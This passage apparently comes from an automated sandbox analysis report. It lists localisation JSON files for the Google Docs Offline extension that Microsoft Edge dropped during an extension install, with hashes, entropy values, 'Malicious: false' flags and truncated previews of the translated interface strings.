Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
